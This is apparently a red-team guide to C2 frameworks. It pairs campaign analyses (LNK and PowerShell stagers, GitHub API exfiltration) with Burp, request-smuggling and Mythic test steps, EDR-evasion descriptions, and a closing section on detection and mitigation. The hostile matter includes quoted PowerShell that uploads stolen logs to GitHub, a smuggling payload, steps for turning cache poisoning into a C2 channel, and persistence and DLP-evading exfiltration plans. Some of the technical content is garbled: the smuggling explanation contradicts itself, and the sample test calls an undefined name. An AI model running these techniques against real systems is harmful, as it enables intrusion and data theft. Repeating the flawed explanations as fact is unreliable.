Exploiting C2 Frameworks.md

Complete Methodologies for Exploiting C2 Frameworks: A Practical Guide

This guide provides a comprehensive, step-by-step approach to understanding, testing, and exploiting Command and Control (C2) frameworks in authorized penetration testing and red team operations. All techniques described are for legitimate security testing purposes only.

Part 1: Understanding the Modern C2 Attack Kill Chain

Before diving into specific exploitation methodologies, it is essential to understand how modern adversaries structure their C2 operations. The typical kill chain consists of seven distinct phases.

Phase 1: Initial Access

The attacker must first establish a foothold in the target environment. In recent campaigns, threat actors have demonstrated sophisticated social engineering approaches. For example, in a mid-October 2025 attack targeting a major U.S. real-estate company, attackers used Microsoft Teams impersonation to trick an employee into running a malicious PowerShell command. The attackers posed as trusted vendors or colleagues to deceive the victim.

Real-World Example: The PowerShell command downloaded a second script from an external server ("kupaoquan[.]com"), which used steganographic techniques to conceal the next-stage payload within a bitmap image.

Phase 2: Staging and Payload Delivery

Once initial access is achieved, the attacker deploys a stager—a small piece of code designed to download the full C2 agent. Stagers are intentionally small to evade detection and often use living-off-the-land binaries (LOLBins) to blend in.

Real-World Example: In campaigns targeting South Korean users, attackers used LNK files containing encoded PowerShell scripts. The LNK files were disguised as "Hangul Documents," a naming pattern associated with North Korean state-sponsored groups like Kimsuky, APT37, and Lazarus.

Phase 3: C2 Communication Establishment

The C2 agent phones home to the attacker's infrastructure. Modern frameworks like Tuoni, Mythic, and PoshC2 establish encrypted, resilient communication channels that mimic legitimate traffic.

Phase 4: Discovery and Reconnaissance

Once communication is established, the agent collects system information, maps the network, and identifies high-value targets.

Real-World Example: The PowerShell scripts observed by FortiGuard Labs collected detailed system information including OS version, build number, last boot time, and a list of running processes. This data was stored in a log file named with the format: <timestamp>-<IP_address>-BEGIN.log.

Phase 5: Lateral Movement

Using stolen credentials, the attacker moves across the network, compromising additional systems.

Phase 6: Persistence

The attacker establishes mechanisms to maintain access across reboots, typically through scheduled tasks, registry run keys, or WMI event subscriptions.

Phase 7: Exfiltration and Impact

Finally, the attacker steals data or deploys ransomware. Communications and data exfiltration are often hidden within trusted platforms.

Real-World Example: Attackers used GitHub repositories as C2 infrastructure, uploading stolen logs using the PUT method to private repositories at URLs like hxxps://api[.]github[.]com/repos/[account]/[repo]/contents/[path].

Part 2: Methodologies for Testing C2 Infrastructure

Methodology 2.1: Testing C2 Channels with Burp Suite

Burp Suite is an industry-standard web application testing platform that can be repurposed for analyzing C2 communication patterns. The Burp Collaborator feature functions as a legitimate C2 server for detecting out-of-band vulnerabilities.

Step-by-Step Testing Process:

Step 1: Configure Burp as a Man-in-the-Middle Proxy

Burp Suite acts as an intercepting proxy between your browser and target applications. To begin:

1. Open Burp Suite and navigate to Proxy > Options
2. Set the proxy listener to 127.0.0.1:8080
3. Configure your browser to use this proxy
4. Install Burp's CA certificate in your browser to intercept HTTPS traffic

Step 2: Analyze C2 Traffic Patterns

Once configured, Burp will capture all HTTP/HTTPS traffic. To identify potential C2 patterns:

1. Navigate to Target > Site map to view all captured requests
2. Look for repeated requests to the same endpoint (beaconing behavior)
3. Examine User-Agent strings for anomalies—many C2 frameworks use distinctive User-Agents like "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.*" for Sliver

Step 3: Use Burp Collaborator for Out-of-Band Detection

Burp Collaborator generates unique payloads that trigger interactions with its server when vulnerabilities exist. To test if an application interacts with external C2:

1. Navigate to Burp Menu > Burp Collaborator > Copy to clipboard
2. Inject the Collaborator domain into application parameters
3. Click "Poll now" to check for interactions
4. Any DNS or HTTP interactions indicate the application can be used for C2

Step 4: Fuzz for C2-Compatible Endpoints

Using Burp Intruder, you can identify endpoints that accept arbitrary commands:

1. Send a request to Intruder (Ctrl+I)
2. Set payload positions on parameters
3. Load a payload list containing test commands (whoami, hostname, etc.)
4. Configure attack type (usually Sniper)
5. Analyze responses for command execution evidence

Step 5: Test for Request Smuggling Vulnerabilities

Request smuggling can create stealthy C2 channels. The HTTP Request Smuggler Burp extension automates testing for CL.0 (malformed content length) vulnerabilities:

1. Install the "HTTP Request Smuggler" extension from BApp Store
2. Import target domains into Burp's sitemap
3. Select all targets, right-click, and choose Extensions > Request Smuggler > CL.0
4. Select detection gadgets like "nameprefix", "nameprefix2", "options", and "head"
5. Review results for positive hits indicating desynchronization possibilities

Real-World Discovery Process: Researchers found that by sending malformed POST requests with a Content-Length header indicating a body that would never arrive, they could cause the front-end proxy and back-end server to interpret the request differently. This discrepancy allowed them to "smuggle" arbitrary paths into the Location header of redirect responses, potentially poisoning the global cache.

Methodology 2.2: Automated C2 Testing with CI/CD Pipelines

Professional red teams automate C2 testing to ensure reliability and catch regressions. GitLab's Red Team developed a comprehensive approach using pytest and GitLab CI/CD.

Step-by-Step Automation Setup:

Step 1: Set Up the Mythic C2 Framework

Mythic is a cross-platform C2 framework with a web UI and REST API. Install it on a Linux VM:

git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
./mythic-cli install github https://github.com/MythicAgents/poseidon.git
./mythic-cli start

Bind the admin interface to localhost only for security.

Step 2: Create Atomic pytest Tests

The test suite should be simple, atomic, and provide adequate coverage. Here is a complete example testing the ls command:

import pytest
import time
import os
from gl_mythic import GlMythic as gl_mythic

@pytest.mark.asyncio
async def test_agent_ls():
    # Create Mythic connection wrapper
    glmythic = await gl_mythic.create_glmythic()
    
    # Unique payload path per test to avoid collisions
    payload_path = "/tmp/test_agent_ls"
    
    # Generate, download, and execute agent
    proc = await glmythic.generate_and_run(payload_path=payload_path)
    
    # Wait for callback establishment
    time.sleep(10)
    
    # Get the most recent callback (our test agent)
    callback = await glmythic.get_latest_callback()
    
    # Issue ls command and wait for output
    output = await mythic.issue_task_and_waitfor_task_output(
        mythic=glmythic.mythic_instance,
        command_name="ls",
        parameters="",
        callback_display_id=callback["display_id"],
        timeout=20,
    )
    
    # Clean up
    proc.terminate()
    os.remove(payload_path)
    
    # Verify command execution
    assert len(output) > 0

Step 3: Configure GitLab CI/CD Pipeline

Create a .gitlab-ci.yml file to automate test execution:

install:
  stage: install
  script:
    - sudo /opt/Mythic/mythic-cli install folder "${CI_PROJECT_DIR}"/agents/"${AGENT_TYPE}" -f
  rules:
    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'
    - if: $CI_COMMIT_TAG

test:
  stage: test
  script:
    - pytest "${CI_PROJECT_DIR}"/mythic-test
  rules:
    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'
    - if: $CI_COMMIT_TAG

Step 4: Set Environment Variables

In GitLab CI/CD settings, configure:

• MYTHIC_ADMIN_PASSWORD: The Mythic admin password (retrieve with cat .env | grep MYTHIC_ADMIN_PASSWORD)
• AGENT_TYPE: The agent to test (e.g., "poseidon" or "merlin")

Step 5: Run Tests Automatically

The pipeline will now run tests on every merge request and tagged commit. The install stage installs the C2 agent into Mythic, and the test stage executes the pytest suite.

Methodology 2.3: Exploiting HTTP Smuggling for C2 Channels

HTTP request smuggling is a powerful technique that can create undetectable C2 channels by exploiting inconsistencies between front-end and back-end servers.

Understanding CL.0 Vulnerabilities:

Most people think HTTP smuggling requires complex header tricks, but sometimes the most effective exploits are based on misaligned expectations between front-end and back-end servers. CL.0 refers to a malformed Content-Length vulnerability where the front-end proxy and back-end server disagree on where a request ends.

Step-by-Step Exploitation Process:

Step 1: Identify Potential Targets

Target infrastructure operating behind major cloud providers such as:

• Akamai (akamaiedge.net)
• Azure (azureedge.net)
• Oracle Cloud (oraclecloud.com)

Use subdomain enumeration tools to discover endpoints:

# Use chaos-client, subfinder, or bbot for enumeration
subfinder -d target.com -o domains.txt

# Extract TLS certificate data
cat domains.txt | httpx -json -o httpx_output.json

Step 2: Test for CL.0 Vulnerabilities

The Burp Suite Request Smuggler extension automates CL.0 testing. For manual testing, send a malformed request like:

POST / HTTP/1.1
Host: target.com
Content-Length: 44
Content-Length: 0

GET /admin HTTP/1.1
X-Ignore: X

If the front-end uses the first Content-Length (44) and the back-end uses the second (0), the back-end will wait for a body that never arrives, causing desynchronization.

Step 3: Verify Global Cache Poisoning

To confirm the vulnerability affects the global cache:

1. Spin up a VM on DigitalOcean or Linode to simulate a normal user
2. Run a curl loop every 2 seconds to request the main domain
3. From a second machine, send the malformed requests
4. If the global cache is poisoned, all incoming users will be redirected to your smuggled path

Step 4: Establish C2 Channel

Once a poisoning primitive is confirmed, convert it into a C2 channel:

1. Use the smuggled path to point to your C2 server
2. Encode commands in the smuggled request
3. Exfiltrate data through the poisoned cache responses

Real-World Detection Consideration: A GET-based gadget is less suspicious than POST-based smuggling. Many web servers tolerate a body in a GET request even though the HTTP specification says GET should not have a body. A proxy may ignore the Content-Length header entirely, while a backend server may honor it, leading to desynchronization.

Part 3: Real-World Attack Patterns and Their Exploitation

Attack Pattern 3.1: GitHub as C2 Infrastructure

Attackers increasingly abuse legitimate public infrastructure for C2 because trusted domains like github.com are whitelisted in corporate environments.

How the Attack Works:

Step 1: Create Malicious Repository

The attacker creates a GitHub repository. In observed campaigns, accounts like "motoralis", "God0808RAMA", "Pigresy80", "entire73", and "pandora0009" were used.

Step 2: Store Payloads in Private Repositories

By conducting all activity within private repositories, the threat actor effectively conceals malicious payloads and exfiltrated logs from public view while leveraging GitHub's high reputation.

Step 3: Deploy Initial Stager

The initial LNK file contains a PowerShell command that fetches the next stage from GitHub:

# Early version (simple concatenation to hide URL)
$url = "hxxps://api.github.com/repos/motoralis/singled/contents/kcca/technik"

# Later version (XOR decoding function)
function p1($a,$b,$c){
    $d = "C:\Users\Public\Documents\" + $a
    # Decode both PDF and PowerShell script
}

Step 4: Exfiltrate Data to GitHub

The script exfiltrates collected data using the GitHub API:

# PUT method to upload content
$uri = "hxxps://api.github.com/repos/motoralis/singled/contents/jjyun/network/$logname"
$body = @{
    message = "Update log"
    content = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($logContent))
} | ConvertTo-Json

Invoke-RestMethod -Uri $uri -Method Put -Headers $headers -Body $body

Testing Methodology for GitHub C2:

To test if an application might be vulnerable to GitHub-based C2:

1. Monitor for unexpected outbound connections to github.com or raw.githubusercontent.com
2. Look for API requests with unusual repository paths
3. Check for PUT or POST methods to GitHub API endpoints from non-development systems
4. Examine User-Agent strings for PowerShell or script-based requests

Attack Pattern 3.2: Steganography-Based C2

Steganography hides malicious commands inside innocent-looking image files. Recent research presented at Black Hat Asia 2025 demonstrated AI-powered image-based C2 that defeats traditional detection.

How the Attack Works:

Step 1: Train AI Models for Encoding/Decoding

The attacker prepares:

• A set of commands to be sent to victims
• A collection of benign images

The attacker trains two AI models:

• Encoder: Learns to embed commands into images with minimal visual change
• Decoder: Learns to extract commands from the resulting images

Step 2: Upload Decoder Model to Public Repository

The trained decoder AI model is uploaded to public repositories like GitHub or Hugging Face. Since AI models are common file formats, security products do not flag them as malicious.

Step 3: Deploy C2 Agent

The C2 agent is installed on the victim machine. When it needs to receive commands:

1. The agent downloads the decoder AI model from the public repository
2. The agent receives a seemingly benign image from the C2 server
3. The agent uses the AI model to extract the hidden command
4. The command executes, and results are exfiltrated (often encrypted using keys also extracted from images)

Why This Evades Detection:

Traditional steganography required hardcoded parsing code that could be reverse-engineered. AI-based steganography eliminates the hardcoded parser—the decoding logic is contained within the AI model itself. AI models are common, trusted file types that evade signature-based detection. Furthermore, AI models can be retrained to change their hash values, bypassing signature-based antivirus entirely.

Testing Methodology for Steganography C2:

To test if an application might be vulnerable to steganographic C2:

1. Monitor for downloads of AI model files (.h5, .pb, .onnx, .pth) from untrusted sources
2. Examine image files for unusual entropy (commands increase entropy)
3. Look for processes that load AI/ML libraries (TensorFlow, PyTorch, ONNX Runtime) unexpectedly
4. Monitor for decryption or decoding operations following image downloads

Part 4: Evasion Techniques and How to Test Them

Evasion 4.1: Indirect Syscalls

Modern C2 frameworks like Brute Ratel, Havoc, and Nighthawk use indirect syscalls to bypass EDR user-mode hooks in ntdll.dll.

How It Works: Instead of calling hooked Windows API functions, the malware retrieves syscall numbers dynamically and executes syscalls directly, bypassing the EDR's monitoring points.

Testing Methodology:

1. Monitor for threads with call stacks that do not originate from ntdll.dll
2. Use kernel-mode callbacks instead of user-mode hooks for detection
3. Look for the presence of syscall instructions (0x0F 0x05) in unusual memory regions

Evasion 4.2: Sleep Obfuscation

Frameworks encrypt the agent's memory during sleep periods to prevent memory scanning.

How It Works: Before sleeping, the agent encrypts its own memory and changes page protection to PAGE_NOACCESS. After sleeping, it decrypts and resumes execution.

Testing Methodology:

1. Monitor for processes that periodically encrypt large memory regions
2. Look for memory protection changes from PAGE_EXECUTE_READWRITE to PAGE_NOACCESS and back
3. Use memory scanning during different phases of the sleep cycle

Evasion 4.3: Process Injection via Module Stomping

Instead of allocating new memory, the malware overwrites a legitimate DLL already loaded in memory.

How It Works: The agent loads a legitimate DLL (like ntdll.dll), then overwrites its .text section with malicious code. The process appears to have only legitimate modules loaded.

Testing Methodology:

1. Monitor for unexpected writes to loaded DLL memory regions
2. Compare on-disk DLL hashes with in-memory DLL content
3. Look for DLLs with modified .text sections

Evasion 4.4: Hardware Breakpoint Hooking

Advanced frameworks like Havoc use CPU debug registers to set breakpoints without modifying code.

How It Works: The malware sets hardware breakpoints (DR0-DR3 registers) on API functions. When the breakpoint triggers, a vectored exception handler redirects execution to the malware's hook.

Testing Methodology:

1. Check debug registers (DR0-DR7) for non-zero values
2. Monitor for vectored exception handlers on critical APIs
3. Look for single-step exceptions being handled

Evasion 4.5: Environmental Keying (Anti-Sandbox)

Malware checks for analysis environments before executing.

Real-World Example: The PowerShell scripts observed by FortiGuard scanned for processes related to virtual machines, debuggers, and forensic tools including "vmxnet", "vmusrvc", "idaq", "Wireshark", "Procmon", and "x64dbg". If any of these processes were detected, the script immediately terminated.

Testing Methodology:

1. Run malware in an environment that mimics a real user workstation
2. Remove or rename common analysis tools
3. Use network simulation to respond to C2 callbacks
4. Monitor for environment checks in the initial execution phase

Part 5: Complete Testing Workflow for C2 Resilience

Phase 1: Reconnaissance and Intelligence Gathering

Objective: Understand the target's defensive posture and identify potential C2 channels.

Steps:

1. Perform passive DNS enumeration to identify external infrastructure
2. Test for outbound protocol restrictions (which ports and protocols can reach the internet)
3. Identify web application firewalls and their behaviors
4. Map the organization's CDN and cloud service providers

Phase 2: C2 Channel Development

Objective: Create a C2 channel that mimics legitimate traffic.

Steps:

1. Select a C2 framework appropriate for the target (Sliver for Linux targets, Havoc for Windows with EDR, Mythic for multi-platform)
2. Configure the C2 profile to mimic legitimate services (CloudFront, Azure, Google APIs)
3. Implement traffic shaping with jitter to avoid beaconing detection
4. Add TLS encryption and rotate JA3 fingerprints using libraries like tls-client

Phase 3: Deployment Testing

Objective: Verify the C2 channel works without triggering defenses.

Steps:

1. Deploy the agent in a controlled environment with the same security stack
2. Capture traffic with Wireshark to analyze the network signature
3. Compare against known beaconing patterns
4. Test failover mechanisms by blocking primary C2 domains

Phase 4: Persistence and Long-Term Operation

Objective: Maintain access across reboots and detection attempts.

Steps:

1. Implement multiple persistence mechanisms (scheduled tasks, registry run keys, WMI subscriptions)
2. Configure multiple callback domains with automatic failover
3. Set kill dates to remove artifacts after operation completion
4. Implement environmental keying to prevent execution in sandboxes

Phase 5: Exfiltration Testing

Objective: Extract data without triggering data loss prevention alerts.

Steps:

1. Test chunked exfiltration (small pieces over time)
2. Use legitimate cloud services (GitHub, AWS S3, Google Drive) for staging
3. Encrypt all exfiltrated data
4. Blend exfiltration with legitimate traffic patterns

Part 6: Detection and Mitigation Strategies (Defender Perspective)

Understanding exploitation methodologies enables better defense. Here are key detection strategies:

Network Detection

1. JA3/JA4 Fingerprinting: Many C2 frameworks have distinctive TLS fingerprints. Sliver's mTLS listener has a specific JA3 hash (51c64c77e60f3980eea90869b68c58a8).

2. Beaconing Detection: Statistical analysis of periodic outbound connections with consistent jitter patterns.

3. DNS Tunneling Detection: Monitor for TXT records with base64-encoded data or excessively long subdomains.

Host Detection

1. Memory Analysis: Scan for RWX memory regions in processes that should not have them.

2. Syscall Monitoring: Use kernel-mode callbacks to detect direct syscalls bypassing ntdll.dll.

3. Process Relationships: Monitor for suspicious parent-child process relationships (e.g., Word spawning PowerShell).

Behavioral Detection

1. Command Line Monitoring: Look for encoded PowerShell commands (-enc, -e) and LOLBin execution patterns.

2. Registry Monitoring: Track changes to Run keys, Winlogon\Userinit, and WMI subscriptions.

3. Scheduled Task Auditing: Review tasks with suspicious names or execution paths.

Recommended Mitigations

1. Application Whitelisting: Implement AppLocker or Windows Defender Application Control to block unauthorized executables.

2. PowerShell Constrained Language Mode: Restrict PowerShell to limit reflective loading and .NET assembly execution.

3. Credential Guard: Enable to protect LSASS from memory dumping.

4. Network Segmentation: Limit lateral movement by segmenting critical systems.

5. EDR with Kernel Callbacks: Use EDR solutions that monitor at kernel level, not just user-mode hooks.

6. Regular Threat Hunting: Proactively search for indicators of C2 frameworks in your environment.

Conclusion

Modern C2 frameworks have evolved significantly, incorporating advanced evasion techniques like indirect syscalls, sleep obfuscation, and AI-powered steganography. Understanding these methodologies is essential for both red teams conducting authorized assessments and blue teams defending enterprise networks.

The key to successful C2 operations is blending in—mimicking legitimate traffic, using trusted infrastructure, and avoiding behavioral patterns that trigger detection. Conversely, defenders must move beyond signature-based detection to behavioral analysis, kernel-level monitoring, and proactive threat hunting.

All techniques described in this guide should only be used in authorized penetration testing engagements with proper legal permissions. Unauthorized use of these techniques is illegal and unethical.

---

References

1. Pluralsight. (2026). Create Custom C2 Lab.
2. Hunt.io. (n.d.). Burp Collaborator: C2 Server in Burp Suite Toolkit.
3. FortiGuard Labs. (2026). DPRK-Related Campaigns with LNK and GitHub C2.
4. Malicious Group. (2025). The Quiet Side Channel... Smuggling with CL.0 for C2.
5. Toolkitly. (2026). Burp Suite vs PoshC2 Comparison.
6. The Hacker News. (2025). Researchers Detail Tuoni C2's Role in an Attempted 2025 Real-Estate Cyber Intrusion.
7. GitLab. (2023). How GitLab's Red Team Automates C2 Testing.
8. Think IT. (2025). AI-Powered Image-Based Command and Control Framework.